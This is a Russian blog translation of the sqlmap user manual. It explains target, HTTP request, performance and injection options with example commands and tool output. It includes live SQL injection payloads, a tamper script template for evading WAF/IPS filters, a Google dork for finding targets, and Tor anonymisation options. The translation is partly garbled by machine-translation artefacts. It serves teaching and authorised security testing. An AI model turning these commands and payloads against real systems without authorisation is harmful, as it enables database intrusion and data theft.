Sqlmap — очень известный и автоматизированный инструмент для внедрения SQL. Чтобы более систематично изучать Sqlmap, я решил перевести руководство пользователя Sqlmap, поэтому и была написана эта статья. Поскольку я не очень хорошо знаю английский, я не могу хорошо переводить. По сути, это вольный перевод, к тому же я добавил свои вещи, которые сильно отличаются от оригинального текста.
Впервые опубликовано в моем независимом блоге:https://blog.werner.wiki/sqlmap-study-notes-0/。Номер версии1.1.10。
Sqlmap — это инструмент автоматического внедрения SQL с открытым исходным кодом, написанный на Python и имеющий следующие характеристики:
Проект Sqlmap с открытым исходным кодом размещен на github. Самый простой способ установки — использовать git и выполнить следующую команду:
git clone https://github.com/sqlmapproject/sqlmap.git
Через некоторое время команда будет выполнена, и вы увидите, что в текущем каталоге есть дополнительный каталог с именем «sqlmap». В этом каталоге хранятся исходный код Python, файлы конфигурации и документация Sqlmap. Поскольку Python является интерпретируемым и исполняемым языком и не требует компиляции, установлена последняя версия Sqlmap. перейдите в каталог «sqlmap» и используйте команду «python sqlmap», чтобы запустить Sqlmap, как показано на следующем рисунке:
Если вы хотите обновить Sqlmap, войдите в каталог «sqlmap» и выполните команду «git pull».
Параметры: -v
Выходная информация Sqlmap разделена на 7 уровней от простого к сложному (столько, сколько тыквенных кукол), которые имеют номера 0, 1, 2, 3, 4, 5 и 6 по порядку. Используйте параметр "-v <уровень>”указать уровень,Если вы используете параметр «-v 6", чтобы указать уровень вывода 6. Уровень вывода по умолчанию — 1. Ниже приводится описание каждого уровня вывода:
Насколько детальен вывод информации на каждом уровне, вам все равно придется попробовать самому и увидеть своими глазами, прежде чем появится четкое понимание.
Sqlmap должен указывать хотя бы одну цель при запуске и поддерживает одновременное указание нескольких целей. Есть несколько способов указать цели:
Параметры: -d
Используйте параметр «-d» для прямого подключения к базе данных. За этим параметром следует строка, представляющая базу данных. Эта строка имеет следующие два формата:
(1) Если в качестве системы управления базами данных используется MySQL, Oracle, Microsoft SQL Server или PostgreSQL, формат будет следующим:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(2) Если используется система управления базами данных SQLite, Microsoft Access или Firebird, формат будет следующим:
DBMS://DATABASE_FILEPATH
Я использую следующую команду для подключения к MySQL, установленному на этом компьютере:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
Но произошла ошибка, ошибка такая:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
Это означает, что я не установил стороннюю библиотеку python-pymysql, используемую Python для подключения к Mysql. Хотя я установил python-mysqldb, чтобы Python мог подключиться к Mysql, очевидно, что Sqlmap использует python-pymysql вместо python-mysqldb. Используйте следующую команду для установки python-pymysql:
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
После установки python-pymysql выполните команду:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
На этот раз об ошибке не сообщалось, и база данных была успешно подключена. Он просто ничего не делает, кроме обнаружения того, что база данных действительно имеет номер версии Mysql, больший или равный 5.0.0. Чтобы указать Sqlmap что-то, необходимо указать другие параметры. Мы узнаем об этих параметрах позже.
Параметры: -u или –url
Используйте параметр «-u» или «-url», чтобы указать URL-адрес в качестве целевого. За этим параметром следует строка, представляющая URL-адрес, который может быть протоколом http или https. Вы также можете указать порт, например:
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"
Параметры: -л
Используйте параметр «-l», чтобы указать файл журнала прокси-сервера Burp или WebScarab. Sqlmap будет анализировать возможные цели атаки из файла журнала и пытаться внедрить их одну за другой. За этим параметром следует путь, представляющий файл журнала.
Я никогда не использовал WebScarab, но часто использую Burp. Burp не записывает логи по умолчанию. Если вы хотите записывать логи, вам необходимо включить их вручную. Способ настройки показан на рисунке ниже:
Достаточно просто проверить данные запроса в прокси. Путь к файлу журнала можно задать по желанию. Здесь я задаю имя файла журнала proxy.log и помещаю его в домашний каталог пользователя.
Установите прокси-сервер браузера на Burp. Просмотрев несколько веб-страниц, я обнаружил, что размер proxy.log уже превышает 70 КБ. Проверьте его содержимое, и часть вывода выглядит следующим образом:
werner@Yasser:~$ more proxy.log
====================================================== 7:22:52 PM http://ocsp.digicert.com:80 [117.18.237.29]
====================================================== POST / HTTP/1.1
Host: ocsp.digicert.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 83
Content-Type: application/ocsp-request
DNT: 1
Connection: close
0Q0O0M0K0I0 +
�ǝ��Pr�Tz�
======================================================
====================================================== 7:23:00 PM http://blog.csdn.net:80 [47.95.49.160]
====================================================== GET /pyufftj/article/details/21469201 HTTP/1.1
Host: blog.csdn.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
...
Вы можете видеть, что файл журнала записывает не только параметры GET, но также параметры cookie и POST. Теперь используйте следующую команду, чтобы позволить Sqlmap проанализировать файл журнала, автоматически найти цель и обнаружить уязвимости внедрения:
python sqlmap.py -l ../proxy.log
Обратите внимание, что путь к файлу журнала должен быть написан правильно. При выполнении этой команды каждый раз, когда обнаруживается возможная цель атаки, Sqlmap спрашивает, хочет ли он обнаружить цель. , ответ по умолчанию — «Y». Если вы хотите проверить эту цель, просто нажмите клавишу Enter.
Когда журнал большой, возможных целей будет много. Несмотря на наличие механизма запроса, он по-прежнему вызывает затруднения, поскольку вы не можете нажать Enter до конца и вынуждены принимать решения. Было бы здорово, если бы логи можно было фильтровать! Это действительно возможно, параметр «-scope», подробности см. в «5.18».
Параметры: -х
Для облегчения включения в поисковые системы,Многие веб-сайты генерируют карты сайта в формате XML специально для поисковых систем.,нравитьсяКарта сайта Baidu поддерживает формат xml.。Sqlmapможно разобрать напрямуюxmlФорматировать карту сайта,Извлеките цели атаки из,Проведите обнаружение инъекций на веб-сайте во всех аспектах без каких-либо слепых зон.,В настоящее время используется параметр «-x».,нравиться:
python sqlmap.py -x http://www.6eat.com/sitemap.xml
Но результат выполнения этой команды:
[WARNING] no usable links found (with GET parameters)
Не найдена доступная ссылка с параметрами GET. По моему ограниченному опыту, URL-адреса в картах сайта редко содержат параметры GET и тем более параметры POST. Так что эта функция Sqlmap кажется немного бесполезной.
Параметр: -м
Параметр «-u» может указывать только один URL-адрес за раз. Это очень неудобно, если нужно протестировать несколько URL-адресов. Мы можем сохранить несколько URL-адресов в текстовом файле в формате одной строки, а затем использовать параметр «. -m", за которым следует путь к текстовому файлу, чтобы Sqlmap последовательно прочитал URL-адреса в файле в качестве цели атаки.
Например, у нас есть файл url.txt следующего содержания:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
Затем вы можете использовать следующую команду, чтобы позволить Sqlmap проверить, есть ли у этих URL-адресов уязвимости внедрения:
python sqlmap.py -m url.txt
Аналогично, при выполнении этой команды Sqlmap очень задумчиво будет спрашивать один за другим: «Хотите протестировать этот URL?»
Параметры: -р
Вы можете сохранить HTTP-запрос в файл, а затем загрузить файл с параметром «-r». Sqlmap проанализирует файл, проанализирует цель из файла и протестирует ее.
HTTP-запрос, как показано ниже, сохраняется в файле get.txt:
GET /user.php?id=1 HTTP/1.1
Host: 192.168.56.101:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Затем используйте следующую команду, чтобы позволить Sqlmap проанализировать файл и проверить цель HTTP-запроса в файле как цель атаки:
python sqlmap.py -r get.txt
Параметры: -g
Sqlmap может автоматически получать первые сто результатов поиска Google и выполнять тестирование URL-адресов с параметрами GET. Конечно, сетевое окружение, в котором вы находитесь, должно иметь доступ к Google. Вот пример параметра «-g» из руководства Sqlmap:
python sqlmap.py -g "inurl:\".php?id=1\""
Параметры: -c
Используйте параметр «-c», чтобы указать файл конфигурации (например, Sqlmap.conf будет анализировать файл конфигурации и выполнять действия в соответствии с конфигурацией файла конфигурации). Цель атаки можно указать в файле конфигурации. Фактически, помимо цели атаки, в файле конфигурации также могут быть указаны значения различных параметров.
В каталоге Sqlmap есть файл с именем sqlmap.conf. Этот файл представляет собой шаблон файла конфигурации. Если вы посмотрите на содержимое файла, вы сможете понять, что означает этот файл конфигурации.
HTTP — сложный протокол. Существует множество методов HTTP-запросов, которые могут переносить разные параметры в разных местах (GET, POST, cookie, User-Agent и т. д.). Часто только запросы, инициированные определенным методом с определенными параметрами в определенном месте, являются законными и действительными запросами. Помимо указания цели при запуске Sqlmap, иногда вам также необходимо указать некоторые детали HTTP-запроса. Следующие параметры используются для указания деталей HTTP-запроса.
Параметры: –метод
Вообще говоря, Sqlmap может автоматически определить, использовать ли метод GET или метод POST, но в некоторых случаях может потребоваться редкий метод, такой как PUT. В этом случае метод необходимо указать с параметром «-method». . Например: «--method=PUT».
Параметры: –данные
Данные, указанные этим параметром, будут отправлены как данные POST, и Sqlmap также определит, содержат ли данные, указанные этим параметром, уязвимости внедрения. нравиться:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"
Параметры: --param-del
В предыдущем примере“–data”данные“id=0&name=werner”На самом деле он состоит из двух частей:“id=0”и“name=werner”,по умолчанию“&”как разделитель。мы можем использовать“–param-del”указать разделитель,нравиться:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"
Параметры: –cookie, –cookie-del, –drop-set-cookie и –load-cookies.
Есть две ситуации, когда используются эти параметры:
Если для параметра «--level» установлено значение 2 или выше, Sqlmap определит, есть ли в файле cookie уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.
(1).“–cookie”и“–cookie-del”
После входа на целевой веб-сайт в браузере скопируйте файлы cookie, которые поддерживают статус входа. Используйте параметр «-cookie», чтобы указать эти файлы cookie, например:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
В отличие от параметров POST, разделителем по умолчанию для файлов cookie является «;». Чтобы указать разделитель в файлах cookie, используйте параметр «--cookie-del».
(2).“–drop-set-cookie”
Если в заголовке ответа HTTP есть «Set-Cookie», Sqlmap автоматически установит файлы cookie, установленные с помощью «Set-Cookie», и обнаружит эти файлы cookie. Если вы не хотите, чтобы Sqlmap делал это, просто добавьте параметр «--drop-set-cookie», чтобы Sqlmap игнорировал «Set-Cookie».
(3).“–load-cookies”
Этот параметр используется для загрузки файлов cookie в формате Netscape или wget из файла.
wget может сохранять и загружать файлы cookie, примеры следующие:
# Log in to the server. This can be done only once.
wget --save-cookies cookies.txt \
--post-data 'user=foo&password=bar' \
http://server.com/auth.php
# Now grab the page or pages we care about.
wget --load-cookies cookies.txt \
-p http://server.com/interesting/article.php
Параметры: –user-agent и –random-agent.
По умолчанию значение User-Agent в HTTP-запросе, отправленном Sqlmap, равно:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
Используйте параметр «-user-agent», чтобы указать значение User-Agent. Но мы можем не помнить, как выглядит обычное значение User-Agent, поэтому с помощью параметра «--random-agent», используя этот параметр, Sqlmap будет случайным образом выбирать пользователя из файла ./txt/user-agents.txt — Агент. Обратите внимание, что в сеансе используется только один и тот же User-Agent, а не случайный User-Agent для каждого отправленного пакета HTTP-запроса.
Используйте следующую команду, чтобы подсчитать количество строк в user-agents.txt:
cat sqlmap/txt/user-agents.txt | wc -l
Результат — 4211, который, конечно, тоже содержит пустые строки, комментарии и т. д., но всего в файле хранится более 4000 User-Agents.
Если для параметра «--level» установлено значение 3 или выше, Sqlmap определит, есть ли в User-Agent уязвимость внедрения. Дополнительные сведения о «--level» см. ниже.
Параметры: –хост
Используйте этот параметр, чтобы вручную указать значение хоста в заголовке HTTP.
Если для параметра «--level» установлено значение 5 или выше, Sqlmap определит, есть ли на хосте уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.
Параметры: --referer
Используйте этот параметр, чтобы указать значение Referer в заголовке HTTP. Заголовок HTTP-запроса, отправленный Sqlmap, по умолчанию не имеет поля Referer.
Если для параметра «--level» установлено значение 3 или выше, Sqlmap определит, есть ли у Referer уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.
Параметры: –заголовки
Используйте этот параметр для добавления полей в заголовок сообщения HTTP-запроса, отправляемого Sqlmap. Если вы добавляете несколько полей, разделите их знаком «\n». Например, команда:
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"
Отправленный пакет HTTP-запроса:
GET / HTTP/1.1
X-B: B
Host: 192.168.56.101:8080
Accept-encoding: gzip,deflate
X-A: A
Accept: */* User-agent: sqlmap/1.1.10#stable (http://sqlmap.org) Connection: close
Параметр «-v 5» добавлен, чтобы позволить Sqlamp выводить отправленный пакет HTTP-запроса, чтобы мы могли легко его наблюдать.
Параметры: –auth-type и –auth-cred
Эти параметры используются для аутентификации. «--auth-type» используется для указания метода аутентификации и поддерживает следующие три метода аутентификации личности:
«--auth-cred» используется для предоставления учетных данных для аутентификации личности, формат «имя пользователя:пароль».
нравиться:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
Параметры: --auth-file
Если веб-сервер требует, чтобы клиент предоставил сертификат, вы можете использовать этот параметр, чтобы указать файл сертификата в формате PEM. Мы знаем, что аутентификация клиента по протоколу SSL не является обязательной. На практике сервер обычно предоставляет только свой собственный сертификат для проверки клиента, и от клиента редко требуется предоставление собственного сертификата.
Параметры: –ignore-401
Используйте этот параметр, чтобы игнорировать ошибки 401 (без проверки подлинности).
Параметры: –proxy, –proxy-cred, –proxy-file и –ignore-proxy.
Используйте параметр «-proxy», чтобы установить прокси-сервер HTTP(S), формат «http(s)://url:port». Если прокси-сервер требует аутентификации, используйте параметр «-proxy-cred», чтобы предоставить учетные данные аутентификации в формате «имя пользователя:пароль».
Используйте параметр «-proxy-file», чтобы указать файл, в котором хранится список прокси. Sqlmap будет использовать прокси из файла по очереди. Если у прокси возникнут проблемы с подключением, он будет удален и заменен следующим прокси.
Используйте параметр «--ignore-proxy», чтобы игнорировать настройки локального прокси.
Параметры: –tor, –tor-type, –tor-port и –check-tor.
по какой-то причине,Если вы хотите остаться анонимным, используйте один HTTP(S)-прокси.,不нравиться安装类似PrivoxyТакое программное обеспечение следуетИнструкция по установке ТораНастройтеTorклиент。После настройки используйте параметры“–tor”позволятьSqlmapАвтоматически настроен на использованиеTorактерское мастерство。
Если вы хотите вручную указать тип и порт Tor, вы можете использовать параметры «--tor-type» и «--tor-port», нравиться:
--tor-type=SOCKS5 --tor-port 9050
Если требуется высокая степень анонимности, можно использовать параметр --check-tor.,После добавления этого параметра Sqlmap обеспечит прохождение всего трафика через прокси-сервер Tor.,Если прокси-сервер Tor не работает,Sqlmapвыдаст предупреждение и выйдет。Метод обнаружения – посещениеAre you using Tor?。
Параметры: –задержка
Слишком частая отправка запросов может быть обнаружена веб-сайтом или иметь другие нежелательные последствия. Используйте параметр «--delay», чтобы указать задержку между HTTP-запросами. Единица измерения — секунды, тип — число с плавающей запятой. Например, «--delay 1,5» означает задержку в 1,5 секунды. По умолчанию нет задержки.
Параметры: –таймаут
Таймаут по умолчанию составляет 30 секунд. Вы можете использовать параметр «–timeout», чтобы указать таймаут. Например, «–timeout 44,5» означает установку таймаута на 44,5 секунды.
Параметры: –retries
Sqlmap повторит попытку после тайм-аута. По умолчанию максимальное количество попыток равно 3. Вы можете использовать параметр «-retries», чтобы указать максимальное количество повторов.
Параметры: –рандомизировать
Используя этот параметр, Sqlmap будет случайным образом генерировать значение параметра в каждом HTTP-запросе. Тип и длина значения основаны на исходном значении.
Параметры: –область
Укажите регулярное выражение Python для фильтрации журналов агента.,Тестируйте только цели, соответствующие регулярному выражению,нравиться:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
Параметры: –safe-url, –safe-post, –safe-req и –safe-freq.
Иногда сервер обнаруживает, что у клиента слишком много ошибочных запросов, и блокирует его. Тесты Sqlmap часто генерируют большое количество ошибочных запросов. Чтобы избежать блокировки, время от времени можно генерировать несколько обычных запросов, чтобы запутать сервер. С этим механизмом связаны следующие четыре параметра:
Так называемый безопасный URL-адрес здесь относится к URL-адресу, который вернет 200 при доступе без каких-либо ошибок. Соответственно, Sqlmap не выполняет никакого тестирования безопасных URL-адресов.
Параметры: --skip-urlencode
Sqlmap будет кодировать URL-адрес по умолчанию. Вы можете использовать этот параметр, чтобы отключить кодирование URL-адреса.
Параметры: –csrf-token и –csrf-url
Многие веб-сайты теперь предотвращают атаки CSRF, добавляя в форму скрытые поля со случайно сгенерированными токенами. Sqlmap автоматически идентифицирует этот метод защиты и обходит его. Однако автоматическое распознавание может дать сбой, и в этом случае будут использоваться именно эти два параметра.
«--csrf-token» используется для указания имени скрытого поля, содержащего токен. Если это имя поля не является общим именем поля для предотвращения атак CSRF, Sqlmap не сможет автоматически распознать его, и его необходимо указать вручную. Например, имя поля в Django — «csrfmiddlewaretoken», что, очевидно, связано с атаками CSRF.
«--csrf-url» используется для повторного использования значений токена из любого URL-адреса. Этот параметр полезен, если исходный уязвимый целевой URL-адрес не содержит значения токена и требует извлечения значения токена из другого адреса.
Параметры: --force-ssl
Параметры: –eval
Давайте посмотрим непосредственно на пример:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
Перед каждым запросом на возврат Sqlmap пересчитывает значение хеш-функции на основе значения идентификатора и обновляет значение хеш-функции в запросе GET.
Эти параметры могут оптимизировать производительность Sqlmap.
Параметры: -о
Добавление этого параметра эквивалентно одновременному добавлению следующих трех параметров оптимизации:
Конкретное значение этих параметров показано ниже.
Параметры: –keep-alive
Этот параметр позволяет Sqlmap использовать длинные соединения HTTP. Этот параметр конфликтует с «--proxy».
Параметры: –null-connection
Существует специальный тип HTTP-запроса, который позволяет напрямую получить размер HTTP-ответа без получения тела HTTP-ответа. Очевидно, что это может сэкономить значительную часть пропускной способности при слепом булевом внедрении. Конечно, эта технология требует поддержки на стороне сервера. Этот параметр конфликтует с «--text-only».
Параметры: –threads
Используйте этот параметр, чтобы указать максимальное количество параллелизма, которого может достичь Sqlmap. Учитывая как производительность, так и доступность веб-сайта, максимальное количество параллелизма не должно превышать 10.
Эти параметры используются для указания параметров для тестирования, настройки полезных данных атаки и выбора сценариев взлома.
Параметры: -p и –skip
По умолчанию Sqlmap проверяет все параметры GET и POST. Когда уровень больше или равен 2, он проверяет параметры cookie. Когда уровень больше или равен 3, он проверяет User-Agent и Referer. Фактически, вы также можете вручную указать список параметров, разделенных запятыми, для проверки. Параметры в этом списке не ограничены по уровню. Это то, что делает «-p».
Например, если вы хотите протестировать только параметры GET «id» и User-Agent, вы можете написать:
-p "id,user-agent"
Если вы не хотите проверять определенный параметр, вы можете использовать «-skip». Если вы установили уровень 5, но не хотите тестировать User-Agent и Referer, вы можете написать так:
--level=5 --skip="user-agent,referer"
Иногда вы сталкиваетесь с псевдостатическими веб-страницами. Динамические веб-страницы будут явно перечислять параметры, нравиться:
/user.php?id=1
Очевидно, что параметр — id, а значение — 1. Но если это псевдостатическая веб-страница, ее можно написать так:
/user/1/
Скрыть параметры в URL. Обычно Sqlmap не проверяет параметры таких псевдостатических веб-страниц.,Потому что Sqlmap не может определить, какой параметр является параметром. Если вы хотите протестировать такие псевдостатические,Просто добавьте "*",Просто сообщите Sqlmap, какие псевдостатические параметры,Остальное ничем не отличается от GET-параметров. нравиться:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
Параметры: –dbms
dbms — это аббревиатура от «Система управления базами данных». По умолчанию Sqlmap автоматически определяет систему управления базами данных, используемую веб-сайтом, и поддерживает следующие системы управления базами данных:
Если автоматическое обнаружение Sqlmap не удалось, вы не хотите, чтобы Sqlmap выполнял обнаружение отпечатков базы данных.,Систему управления базой данных можно указать вручную с помощью параметра «--dbms».,нравиться:“–dbms postgresql”。
Для Mysql и Microsoft SQL Server это указывается так:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
Для MySQL это примерно так: 5.0. Для Microsoft SQL Server это выглядит так: 2005.
Если вы добавите «--fingerprint» вместе с параметром «--dbms», Sqlmap будет выполнять распознавание отпечатков пальцев только в указанной системе управления базой данных.
Используйте «--dbms» только в том случае, если вы уверены, в противном случае лучше позволить Sqlmap автоматически обнаружить это.
Параметры: –os
По умолчанию Sqlmap автоматически определяет операционную систему, на которой работает система управления базами данных. В настоящее время полностью поддерживаются следующие операционные системы:
Если вы уверены, вы можете использовать параметр «-os», чтобы указать операционную систему, в которой работает система управления базой данных. Конечно, этот параметр следует использовать только в том случае, если вы абсолютно уверены, в противном случае лучше позволить Sqlmap автоматически обнаружить его.
Параметры: –invalid-bignum
Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если добавлено «--invalid-bignum»,Sqlmap примет большое число (нравиться:id=99999999) как недопустимый параметр.
Параметр: –invalid-логический
Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если вы добавите «--invalid-ologic»,Sqlmap будет использовать логические операторы (нравиться:id=13 И 18=19) как недопустимый параметр.
Параметр: –invalid-string
Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если вы добавите «--invalid-ologic»,Sqlmap будет использовать строку (нравиться:id=akewmc) как недопустимый параметр.
Параметры: –no-cast
Sqlmap преобразует все входные данные в строковый тип при получении результатов, и если он встретит нулевое значение (NULL), он заменит его пустым символом. Это сделано для предотвращения любых ошибок, таких как объединение нулевых значений и строк, а также для упрощения процесса получения данных. Однако есть сообщения о том, что выполнение этого в старых версиях Mysql может вызвать проблемы с получением данных, поэтому было добавлено «--no-cast», чтобы сообщить Sqlmap не делать этого.
Параметры: –no-escape
Иногда Sqlmap использует в качестве полезной нагрузки строковое значение, заключенное в одинарные кавычки, например «SELECT 'foobar'». По умолчанию эти значения будут закодированы как: «ВЫБЕРИТЕ СИМВОЛ(102)+СИМВОЛ(111)+СИМВОЛ(111)+СИМВОЛ(98)+СИМВОЛ(97)+СИМВОЛ(114))». Это может как запутать людей, так и затруднить просмотр содержимого полезных данных, а строка не будет затронута, когда внутренний сервер использует escape-функции, такие как Magic_quote или mysql_real_escape_string. Конечно, в некоторых случаях кодирование строк необходимо отключить. Например, чтобы уменьшить длину полезных данных, пользователи могут использовать «--no-escape», чтобы отключить кодирование строк.
Параметры: –prefix и –suffix.
Иногда внедрение может быть успешным только путем добавления указанного пользователем суффикса после полезной нагрузки. Другой сценарий заключается в том, что пользователь уже знает, как написать оператор запроса. В этом случае префикс и суффикс полезных данных можно указать напрямую для завершения обнаружения и внедрения.
Пример уязвимого исходного кода выглядит следующим образом:
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";
В таком примере вы можете позволить Sqlmap автоматически определять граничный диапазон или вручную указывать граничный диапазон:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
Окончательный оператор SQL будет выглядеть следующим образом:
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1
Синтаксис этого предложения правильный, и полезная нагрузка также может быть выполнена.
В простой тестовой среде Sqlmap может автоматически обнаружить и завершить внедрение без предоставления настраиваемого граничного диапазона. Однако в реальном мире некоторые приложения могут быть сложными, например, вложенные запросы JOIN. В этом случае вам необходимо указать граничный диапазон. для Sqlmap.
Параметры: –тампер
Sqlmap не выполняет никакой обфускации полезных данных, кроме кодирования строки с помощью CHAR(). Этот параметр используется для маскировки полезных данных в обход IPS или WAF. За этим параметром следует имя сценария тампера. Если сценарий тампера расположен в каталоге tamper/ каталога установки sqlmap, вы можете опустить путь и суффикс имени и написать только имя файла. Разделяйте несколько сценариев вмешательства пробелами.
В каталоге tamper/ имеется множество скриптов тампера. Целью сценария взлома является запутывание полезной нагрузки. Мы также можем написать собственный сценарий взлома, который представляет собой расширенное использование Sqlmap. Эффективный сценарий взлома выглядит следующим образом:
# Библиотеки, которые необходимо импортировать
from lib.core.enums import PRIORITY
# Определите приоритет этого сценария взлома.
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''здесь - это описание тампера'''
retVal = payload
# здесь код, используемый для изменения полезных данных
# Вернуть измененную полезную нагрузку
return retVal
Вот пример, предназначенный для MySQL и предполагающий, что знак «больше», пробелы и ведущие операторы SELECT запрещены:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
Часть вывода этого примера выглядит следующим образом:
[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script 'between'
[12:55:52] [INFO] loading tamper script 'randomcase'
[12:55:52] [INFO] loading tamper script 'space2comment'
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter 'id'
[12:55:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa [12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[12:55:53] [PAYLOAD] 1')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[12:55:53] [PAYLOAD] 1'/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[12:55:53] [PAYLOAD] 1'/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[12:55:53] [PAYLOAD] 1%'/**/anD/**/3549=6854/**/anD/**/'%'='
[12:55:53] [PAYLOAD] 1%'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq [12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg [...]
Если сценарий тампера не добавлен, часть вывода приведенного выше примера будет такой:
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter 'id'
[13:00:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1') AND 6904=7395 AND ('xBlu'='xBlu
[13:00:12] [PAYLOAD] 1') AND 6711=6711 AND ('RgoX'='RgoX
[13:00:12] [PAYLOAD] 1' AND 6469=7302 AND 'maCj'='maCj
[13:00:12] [PAYLOAD] 1' AND 6711=6711 AND 'pSYg'='pSYg
[13:00:12] [PAYLOAD] 1%' AND 7516=3605 AND '%'='
[13:00:12] [PAYLOAD] 1%' AND 6711=6711 AND '%'='
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]
Параметры: –уровень
Этот параметр используется для указания уровня обнаружения, который имеет 5 уровней от 1 до 5. По умолчанию установлено значение 1, что означает, что выполняется наименьшее количество обнаружений, и, соответственно, уровень 5 означает, что выполняется наибольшее обнаружение. Полезная нагрузка, используемая Sqlmap, хранится в каталоге xml/payloads/. Она имеет формат xml и может быть настроена. Выдержка из полезной нагрузки выглядит следующим образом:
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
